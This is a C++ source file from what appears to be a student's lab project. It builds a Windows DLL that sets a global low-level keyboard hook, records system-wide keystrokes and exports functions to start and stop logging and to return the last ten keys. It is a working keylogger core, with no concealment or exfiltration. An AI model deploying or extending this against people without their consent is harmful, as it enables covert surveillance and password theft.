Labs_Shishkina_Marina_ITb-4301/Lib_Dinamic/Lib_Dinamic.cpp
2024-12-26 15:23:34 +03:00

85 lines
2.2 KiB
C++

#include "pch.h"
#include "Lib_Dinamic.h"
#include <Windows.h>
#include <thread>
#include <mutex>
#include <deque>
#include <unordered_map>
std::deque<std::string> keyBuffer;
std::mutex bufferMutex;
bool loggingActive = false;
std::thread loggingThread;
std::unordered_map<int, std::string> specialKeys = {
{VK_SPACE, "SPACE"},
{VK_RETURN, "ENTER"},
{VK_BACK, "BACKSPACE"},
{VK_TAB, "TAB"},
{VK_SHIFT, "SHIFT"},
{VK_CONTROL, "CTRL"},
{VK_MENU, "ALT"}
};
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
KBDLLHOOKSTRUCT* pKeyboard = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
std::string key;
if (specialKeys.find(pKeyboard->vkCode) != specialKeys.end()) {
key = specialKeys[pKeyboard->vkCode];
}
else {
key = static_cast<char>(pKeyboard->vkCode);
}
std::lock_guard<std::mutex> lock(bufferMutex);
if (keyBuffer.size() >= 10) {
keyBuffer.pop_front();
}
keyBuffer.push_back(key);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
void KeyLoggingFunction() {
HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, 0, 0);
MSG msg;
while (loggingActive) {
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
UnhookWindowsHookEx(hhkLowLevelKybd);
}
extern "C" LIBDINAMIC_API void StartKeyLogging() {
loggingActive = true;
loggingThread = std::thread(KeyLoggingFunction);
}
extern "C" LIBDINAMIC_API void StopKeyLogging() {
loggingActive = false;
if (loggingThread.joinable()) {
loggingThread.join();
}
}
extern "C" LIBDINAMIC_API const char* GetLastTenKeys() {
static char keys[256] = { 0 };
std::lock_guard<std::mutex> lock(bufferMutex);
int i = 0;
for (const std::string& key : keyBuffer) {
for (char c : key) {
keys[i++] = c;
}
if (&key != &keyBuffer.back()) {
keys[i++] = ',';
}
}
keys[i] = '\0'; // Null-terminate the string
return keys;
}